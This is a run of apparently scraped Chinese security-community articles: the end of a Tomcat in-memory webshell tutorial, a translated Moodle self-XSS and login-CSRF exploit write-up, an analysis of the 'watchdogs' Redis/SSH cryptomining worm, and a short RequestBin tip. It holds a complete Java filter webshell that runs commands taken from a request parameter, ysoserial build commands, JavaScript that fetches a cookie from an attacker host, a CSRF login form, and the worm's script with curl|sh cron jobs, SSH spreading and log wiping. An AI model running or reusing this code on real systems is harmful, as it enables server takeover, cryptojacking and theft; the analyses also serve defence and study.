ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
没错，它遍历了filterDefs，一个个实例化成ApplicationFilterConfig添加到filterConfigs了。
这两个问题解决了，是不是就完成了呢，其实还没有，还差一个优化的地方，因为我们想要把filter放到最前面，在所有filter前执行，从而解决shiro漏洞的问题。
也简单，我们看回`org.apache.catalina.core.ApplicationFilterFactory#createFilterChain`的代码：
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
}
创建的顺序是根据filterMaps的顺序来的，那么我们就有必要去修改我们添加的filter顺序到第一位了，最后，整个第二步骤的代码如下：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatShellInject extends AbstractTranslet implements Filter {
static {
try {
/*shell注入，前提需要能拿到request、response等*/
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class
.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
ServletRequest servletRequest = null;
//不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t.get() != null) {
servletRequest = (ServletRequest) t.get();
}
if (servletRequest != null) {
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
org.apache.catalina.core.StandardContext standardContext = null;
//判断是否已有该名字的filter，有则不再添加
if (servletContext.getFilterRegistration("threedr3am") == null) {
//遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (o instanceof org.apache.catalina.core.StandardContext) {
standardContext = (org.apache.catalina.core.StandardContext) o;
}
}
if (standardContext != null) {
//修改状态，要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
Filter threedr3am = new TomcatShellInject();
//添加filter马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//状态恢复，要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//生效filter
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
//把filter插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
和第一个步骤创建的TomcatEchoInject不一样，这里我们不但基础了AbstractTranslet，还实现了Filter创建一个我们自定义的内存Webshell
最后，我们也按照第一个步骤那样，创建一个ysoserial的`CommonsCollections11`类的拷贝，名叫`CommonsCollections11ForTomcatShellInject`，并把其`Gadgets.createTemplatesImpl(command[0])`的调用改成`Gadgets.createTemplatesImpl(null,
TomcatShellInject.class)`，这样，我们的Webshell payload就完成了。
通过执行maven打包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
然后执行生成的jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial
就生成了CommonsCollections11ForTomcatShellInject的payload了
* * *
## 0x03 测试
上一节中，我们生成了两个payload，接下来，我们启动一个具有`commons-collections:commons-collections:3.2.1`依赖的服务端，并且存在反序列化的接口。
然后我们把步骤一和步骤二生成的payload依次打过去
可以依次看到，两个步骤都返回500异常，相关信息证明已经执行反序列化成功了，接下来我们试试这个内存Webshell
完美，具体ysoserial改造后的代码，我已经上传到github，有兴趣可以看看
[threedr3am/ysoserial](https://github.com/threedr3am/ysoserial)
* * *
## 参考
* [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)
* [动态注册之Servlet+Filter+Listener](https://www.jianshu.com/p/cbe1c3174d41)
* [threedr3am/ysoserial](https://github.com/threedr3am/ysoserial) | 社区文章 |
原文地址：<https://medium.com/@daniel.thatcher/obtaining-xss-using-moodle-features-and-minor-bugs-2035665989cc>
由于[Moodle](https://moodle.org/ "Moodle")允许用户在只对用户自己可见的仪表板中嵌入任意HTML，这就为self-XSS创造了条件。在这篇文章中，我们将会为读者详细介绍如何利用这种漏洞——设置具有限制路径的第二个会话cookie，并结合登录CSRF漏洞，通过Moodle的内置模拟功能来攻击其他用户。此前，攻击者利用self-XSS漏洞时，通常只能获得DOM的只读访问权限，但利用本文介绍的方法，则可以让JavaScript以受害用户的身份来运行，从而实现常规XSS的攻击效果。
下面的视频展示了如何通过攻击管理员，为攻击者的shell授予Moodle服务器的访问权限。在这个视频中，管理员只要点击了攻击者发送给的链接，那么，当他们再次使用同一浏览器登录其账户时，相应的JavaScript代码就会上传恶意插件，进而在Web服务器上为攻击者返回shell。
【请在此插入视频地址】
以管理员身份上传恶意插件
## 简介
不久前，我发现了一些将self-XSS与其他漏洞综合[利用](https://www.youtube.com/watch?v=l3yThCIF7e4
"利用")的[技术](https://www.noob.ninja/2018/07/escalating-low-severity-bugs-to-high.html
"技术")，所以，当我在Moodle[安全声明](https://moodle.org/mod/forum/discuss.php?d=371202&parent=1496356
"安全声明")中看到以下安全问题时，立刻引起了我的兴趣：
通过身份验证的用户[sic]可以向仪表板添加含有脚本的HTML块，这通常不是安全问题，因为个人仪表板仅对该用户可见。
虽然这是一个正常的特性，而非存储型self-XSS漏洞，但有时候两者其实是等效的，例如，当用户能够插入在目标域的上下文中运行的任意HTML和JavaScript代码，并且它们只在用户自己的浏览器中呈现的时候。
如果登录表单也没有提供CSRF保护的话，那么，就可以利用本文介绍的技术来获得受害用户能够查看的任何页面的只读访问权限。不过，这种攻击效果并不是太理想，所以，我需要设法把它变成一个“正经八百”的XSS漏洞，以便能够以受害者身份来运行任意的JavaScript代码。
## 双会话Cookie
我提出的方法利用了PHP和浏览器对于多个具有相同名称的cookie的处理方式。
### PHP
根据我的观察，向Moodle发送请求时，如果在一个请求中包含两个会话cookie的话，它会使用位于Cookie头部中的第一个会话cookie，而忽略第二个会话cookie。因此，在下面的请求中，以粗体突出显示的会话cookie将用于标识登录用户的身份，而同名的另一个会话cookie则被忽略：
GET /my/ HTTP/1.1
...
Cookie: MoodleSession=0ab0af2b5369369af1fae6b097cf64f7; MoodleSession=d879cda2c1b27a4eefa02e7a48a63d73
这是PHP处理多个cookie的方式所致：在$_COOKIE超全局变量中只会保存第一个cookie。
### 浏览器
Chrome和Firefox浏览器可以生成包含多个重名的cookie的请求，前提是它们位于不同的路径，并且cookie的值也不相同，就像上面的请求那样。因此，假设在浏览器中设置了两个cookie：
* 其中，一个cookie名为MoodleSession，其路径为/，存放的是与Alice的账户相关联的会话标识符；
* 另一个cookie也名为MoodleSession，不过路径为/my/，存放的是与Bob的账户相关联的会话标识符。
这样，对于指向/my/之外的路径的请求时，只会发送Alice的会话cookie，而针对/my/路径的请求，会同时发送两个会话cookie（/my/是Moodle用户仪表板的路径）。由此看来，Chrome和Firefox都会优先发送路径限制更多的cookie，因此，Bob的会话cookie将第一个发送，因此，当该浏览器请求/my/时，Moodle会使用Bob的会话cookie。所以，该浏览器的用户访问Moodle时，他们看到的内容与以Alice的身份登录时看到的一样，只有访问/my/时除外，这时看到的是Bob的仪表板。
## 漏洞利用
如果将登录表单上的CSRF漏洞以及双会话cookie的特殊行为结合起来，我们就能够使用嵌入在仪表板上的JavaScript代码来攻击其他用户。我的实验环境是一个安装在`http://moodle.lab.local`上的Moodle系统，它包含一个名为admin的管理员账户，以及一个攻击者可以访问的低特权账户：attacker。此外，还有一个处于攻击者控制之下的服务器，位于`attacker.lab.local`。所有用到的文件都可以从这个[GitHub存储库中](https://github.com/danielthatcher/moodle-login-csrf "GitHub存储库中")下载。
### 1.设置cookie
首先，攻击者在其仪表板中嵌入一个脚本，例如上面GitHub存储库中的脚本，其中部分代码如下所示。这项工作并不难，只需添加新的HTML块即可，并且，还可以借助于拦截代理（如BurpSuite）。
// Target site, without a trailing slash
let moodleRoot = "http://moodle.lab.local";
// Attacker site without a trailing slash
let attackerRoot = "http://attacker.lab.local";
// Use the "poisoned" cookie to tell if the first stage has been completed
if (!document.cookie.includes("poisoned")) { // First stage
let callback = function() {
let attackerCookie = this.responseText;
document.cookie = "MoodleSession=" + attackerCookie + "; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";
document.cookie = "poisoned=1; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";
// Have to logout now as can't clear cookie
let logoutURL = document.querySelector("a[data-title='logout,moodle']").href;
document.location.replace(logoutURL);
};
// Send off for attacker's cookie
let req = new XMLHttpRequest();
req.addEventListener("load", callback);
req.open("GET", `${attackerRoot}/cookie.php`);
req.send();
} else { // Second stage
...
moodle.js脚本
该脚本会检查是否在浏览器中设置了名为poisoned的cookie。如果没有的话，就设置该cookie，并利用[cookie.php](https://github.com/danielthatcher/moodle-login-csrf/blob/master/cookie.php
"cookie.php")脚本请求attacker账户的会话cookie，然后将其放入路径为/my/、名为MoodleSession的cookie中。然后，该脚本会注销attacker账户，这不会导致新设置的会话cookie失效，因为相关请求的路径是指向/my/之外的。
如果存在中毒的cookie，该脚本将执行最终的XSS payload，这一点将在稍后讨论。
### 2.攻击方法
然后，攻击者可以通过一个简单的登录CSRF
payload（比如下面让受害者登录到attacker账户的payload）来攻击目标用户（在本例中是admin账户的所有者）。
<html>
<body>
<form action="http://moodle.lab.local/login/index.php" method="POST" id="loginform">
<input type="hidden" name="anchor" value="" />
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="Password1!" />
</form>
<script>
document.getElementById("loginform").submit();
</script>
</body>
</html>
强制用户登录到“attacker”账户的登录CSRF payload。
这将导致受害者查看攻击者账户的仪表板，并在浏览器中运行的前面的脚本。然后，受害者将在浏览器中设置有毒的cookie和隶属于attacker账户的会话cookie，路径为/my/，然后进行注销。
受害者下次使用同一浏览器登录admin账户时，他们能够正常浏览除仪表板之外的所有Moodle功能，包括管理面板。但是，通过/my/加载其仪表板时，将返回attacker账户的仪表板，其中含有上面的脚本代码。由于浏览器中存在中毒的cookie，因此，该脚本将执行第二阶段的攻击代码。
### 3\. 最终的payload
在这里，弹出警报框也不会带来很大的影响，因为它会显示到attacker账户的仪表板上，而非显示到admin账户的仪表板上。由于我们仍然能够以管理员账户向管理面板发送请求，所以，我决定使用JavaScript来上传一个[恶意插件](https://github.com/danielthatcher/moodle-login-csrf/tree/master/shell
"恶意插件")。该插件将通过[version.php](https://github.com/danielthatcher/moodle-login-csrf/blob/master/shell/version.php#L26 "version.php")文件为攻击者返回一个反向shell。
【请在此插入视频地址】
使用登录CSRF漏洞攻击管理员（与前面的视频相同）
读者可以从[这里](https://github.com/danielthatcher/moodle-login-csrf/blob/master/moodle.js#L25
"这里")找到执行该操作的JavaScript，其作用是从攻击者的服务器上下载plugin.zip文件，并复制插件通过Web界面上传时需要发送的请求。
## 利用模拟功能
最初，Moodle只修复了登录表单上的CSRF漏洞，但攻击者仍然可以通过Moodle的模拟功能来利用这个漏洞。为此，攻击者可以设法让管理员模拟他们的账户，以让管理员查看攻击者的仪表板，这样就不必依赖登录CSRF漏洞了。然后，就可以使用相同的脚本来利用这个安全漏洞了。
【请在此插入视频地址】
利用模拟功能攻击管理员 | 社区文章 |
# watchdogs挖矿木马综合分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019年2月21日晚，默安科技应急响应中心接到某合作伙伴的求助电话，针对被watchdogs病毒感染的机子进行排查和分析，并最终给出了针对该类型的挖矿病毒的清除工具，帮助客户清除病毒文件，修复被感染机子，挽回经济损失。经默安科技影武者实验室安全研究员分析发现，该病毒是通过Redis未授权访问漏洞及ssh弱口令进行突破植入，随后释放挖矿木马进行挖矿操作，并对内外网主机进行redis漏洞攻击及ssh暴力破解攻击。该病毒有以下几个特征信息：
1、查看netstat命令是否被删除。
2、查看/root/.ssh中的密钥信息是否被清除。
3、查看计划任务，是否存在以下任务信息：
curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs
4、使用busybox检查可以进程：
busybox ps -ef|grep watchdogs
busybox ps -ef|grep ksoftirqds
如果包含则说明中毒。
5、病毒程序执行后会消耗大量的主机cpu资源。
请各位系统维护人员检查各自机子是否有以上特征，如果有以上特征，可联系默安科技安全应急响应中心获取病毒清除工具。
下面对该病毒进行详细地分析。
## 0x1 Watchdogs程序
由于病毒程序使用golang编写的，做了一些混淆操作，ida无法识别其中的符号信息，需要手动修复一下，可使用以下idapython脚本进行修复，修复后可还原一部分方法名，便于之后的分析：
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro
通过脚本还原符号信息，重命名了3946 个方法。
修复前：
修复后：
下面分析主函数 main.main()
Main函数中主要工作是：
0x1 将wathdogs这个进程设置为系统服务
0x2 将libioset写入到/etc/ld.so.preload中
0x3 将写入定时任务，远程下载挖矿文件
0x4 启动ksoftirqds进程进行挖矿操作
0x5 删除tmp下ksoftirqds，watchdogs，config.json等文件
0x6 更新程序
0x7 redis未授权攻击及ssh暴力破解攻击
由于控制流图太大，这里就不给出了，下面是main函数中的主要代码，已经做了详细的注释：
将watchdogs添加为系统服务
这里大概的意思是将libioset.so写入奥/etc/local/ld.so.preload。通过这种方式将libioset.so设置为预加载的动态链接库，这样即使程序不依赖libioset.so，libioset.so依然会被装载。
这里是写入配置信息到文件/tmp/config.json中
这里是写入定时任务（位于：github_com_hippies_LSD_LSDC_Cron函数中）
通过查看计划任务发现。
每15分钟执行一次更新下载操作：
通过网页访问这个url发现其是一段base64加密的数据
脚本内容分析如下：
每15分钟从pastebin上下载经过base64编码的该脚本自身并写入到定时任务中：
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
关闭其他可能存在的挖矿木马：
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
通过chattr指令锁定系统权限，关闭资源占用较高的服务：
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
杀掉一些DDoS进程：
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
根据内核版本下载病毒程序并执行：
if [ ! -f "/tmp/.lsdpid" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
fi
通过读取.ssh目录下known_hosts中的服务器地址，尝试使用密钥登录后横向传播：
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChec
king=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
具体的可参考我们公司上一篇分析文章：
<https://mp.weixin.qq.com/s/7HyO9gVdgDYL4x7DKCVgZA>
这里是检查更新：
病毒文件会定时向服务端请求更新信息。
通过tcpdump进行协议抓包分析，发现有挖矿行为：
通过htop进行进程分析，发现会启动以下的进程，cpu占用率极高
通过使用inotify监视bin目录，发现其删除了一个netstat命令
通过分析可知该计划任务会定时从服务端下载一张图片格式文件并重命名为watchdogs保存到tmp目录下并执行，执行过程中会释放config.json及ksoftirqds到tmp目录下。为了防止被捕获，在程序执行后，对watchdogs，config.json，ksoftrqds进行了删除操作。
另外为了隐藏进程信息及相关的文件信息，该病毒通过hook方式对libc.so中的函数进行了重写。
如：
readdir函数
这里有一个do while结构
do
{
v4 = old_readdir(a1); // 使用readdir打开一个目录
if ( v4 )
{
if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 调用getdirname
&& !strcmp(&s1, "/proc")
&& (unsigned int)get_process_name(v4 + 19, &v3)
&& !strcmp(&v3, "ksoftirqds") )
{
return 0LL;
}
if ( !strcmp(&v3, "watchdogs") )
return 0LL;
}
if ( v4 && !strcmp((const char *)(v4 + 19), ".") )
strcmp((const char *)(v4 + 19), "/");
}
while ( v4
&& (strstr((const char *)(v4 + 19), "ksoftirqds")// 判断ksoftirqds是否是v4+19这个地址中的字符串的子集
|| strstr((const char *)(v4 + 19), "ld.so.preload")
|| strstr((const char *)(v4 + 19), "libioset.so")) );
大致的意思是：
如果查询结果中包含恶意应用名称及路径，则不返回相应结果，起到隐藏作用。
另外程序也对rmdir函数进行了重写，防止恶意程序的文件被删除。
这里是重写的函数列表
其中作者不仅在access函数中做了隐藏操作，而且还进行了写入计划任务的操作：
s = fopen("/etc/cron.d/root", "w+");
if ( s )
{
fwrite(
"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|shn##",
1uLL,
0x75uLL,
s);
fclose(s);
}
横向传播
0x1 攻击redis服务器
遍历内网ip及外网ip攻击redis服务器：
测试机上通过wireshark抓取到的redis攻击行为
调用过程：
Main.main
->github_com_hippies_LSD_LSDA_Ago
->github_com_hippies_LSD_Ago_func1
->github_com_hippies_LSD_LSDA_runtwo
->github_com_hippies_LSD_LSDA_run
->github_com_gomodule_redigo_redis_DialTimeout
->github_com_gomodule_redigo_redis_Dial
->github_com_gomodule_redigo_redis__conn_Do
->github_com_gomodule_redigo_redis__conn_DoWithTimeout
->github_com_gomodule_redigo_redis__conn_writeCommand
相关代码：
0x2 ssh爆破
调用过程：
Main.main
-> github_com_hippies_LSD_LSDA_Bbgo
-> github_com_hippies_LSD_LSDA_bgo
-> github_com_hippies_LSD_LSDA_bgo_func1
-> github_com_hippies_LSD_LSDA_cmdtwo
->github_com_hippies_LSD_LSDA_cmd
->golang_org_x_crypto_ssh__Client_NewSession
部分控制流图：
相关源码
## 0x2 针对ksoftirqds的分析（挖矿）
病毒程序在释放出ksoftirqds后会将其删除，如果我们想分析ksoftirqds的话，需要将tmp目录使用chattr +a
/tmp命令锁住，这样可以防止这些文件被删除。
通过分析发现，这个木马文件和watchdogs一样，也是用upx加壳的。我们使用upx工具执行 upx -d即可脱壳。
下面是分析过程：
首先使用ida的字符串检索功能，找到如下矿池地址：
搜索xmr.f2pool.com
跟入并寻找引用位置
找到了钱包地址：
这部分配置在do_guided_pool_config函数中，做矿池配置
Main()->do_guided_pool_config()
do_guided_pool_config中主要做了
pool_address,wallet_address,rig_id,pool_password,use_nicehash,use_tls等这些参数的配置。
并通过GetPoolConfig函数获取相应的矿池配置文件：
矿机配置文件信息config.json文件如下：
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}
通过分析发现，该木马使用的是一款名叫xmr-stak的挖矿程序
它的项目地址地址在<https://github.com/fireice-uk/xmr-stak>
对应的github项目的特征位置：
这款挖矿系统除了能够挖掘门罗币，还能够挖掘以下的虚拟货币：
## 0x3 分析总结
1、watchdogs中写入定时任务，释放ksoftirqds进行挖矿，并每个15分钟检查更新，
2、进行ssh爆破及redis攻击，目的是进行横向病毒传播，扩大挖矿僵尸网络的势力。
3、ksofttirqds程序主要是使用xmr-stak挖矿程序挖掘门罗币。
4、矿池：
tcp://xmr.f2pool.com:13531
5、钱包地址为：
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx
6.、域名：
http://thyrsi.com
https://pastebin.com
对应ip：
104.27.139.223
104.20.209.21
7、相关特征MD5值：
aee3a19beb22527a1e0feac76344894c
86e2f5859ca276f307a034b5c7c450f1
ae356f2499b2228e86bcc4d61f4a29c9
d6a146161ec201f9b3f20fbfd528f901
a48f529646b8b5e96bab67d6d517a975
04ca88d563b568bac6d1f64faf4d390e
8、为什么无法删除文件和kill进程？
蠕虫通过ld.so.preload使用libioset.so对常见系统函数（如：readdir、access函数）进行过滤，当返回结果中包含恶意文件和进程时，会主动过滤和隐藏相关结果，使用ls、ps等命令无法看到恶意进程文件。
9、如何清理？
上传busybox到/bin/目录下，使用busybox清理文件。
10、为什么busybox可以清理文件？
busybox不依赖于系统的动态库，不受ld.so.preload劫持，能够正常操作文件。
## 0x4 加固建议
病毒程序可能是通过利用redis未授权漏洞植入，所以请做好redis方面的加固。
Redis未授权漏洞简介：Redis在默认配置下，会将服务绑定在0.0.0.0：6379上，即暴露在公网上。如果同时又没有开启相关的认证，就会导致任意用户访问redis服务，进行数据库操作，并且通过进一步利用，还可以获得系统权限。
以下是redis方面的加固建议：
1\. 将修改redis配置文件，将服务绑定在本机127.0.0.1上。
3、修改redis.conf，设置访问认证，启用密码认证。
3\. 在防火墙处指定可访问redis服务的ip 。
4\. 修改修改redis默认端口。
5\. 禁用config指令防止恶意操作，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度。
6\. 使用普通权限运行redis服务，这样即使攻击者获得了服务器权限也只是普通用户权限。
## 0x5 病毒处置办法
1）默安科技已针对病毒开发自动化清理脚本，脚本地址：
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
3）建议使用默安科技哨兵云对全网服务器进行排查Redis未授权访问漏洞并进行安全加固，从源头上避免感染病毒。
4）紧急情况下，为避免内网大量传播，可以临时对被感染机器先进行断网隔离处理。
5）不影响业务的情况下，建议临时删除机器上.ssh/known_hosts和登录密钥文件。
相关文章：
<https://mp.weixin.qq.com/s/7HyO9gVdgDYL4x7DKCVgZA>
By 默安科技安全应急响应中心
2019/2/25 | 社区文章 |
有的时候会写脚本模拟浏览器发请求（比如抢月饼），但是返回结果总是有些差异，想看看问题出在哪里又因为https等其他原因不好抓包的时候，可以试试这个玩意。
<http://requestb.in/>
点击 Create a RequestBin
之后会生成一个url，把你的请求地址改成这个url，之后再刷新一下网页，就可以看到你发过去的http包是什么样子的了。 | 社区文章 |
作者：truebasic
链接: https://www.sec-un.org/我眼中的信息安全意识教育体系/
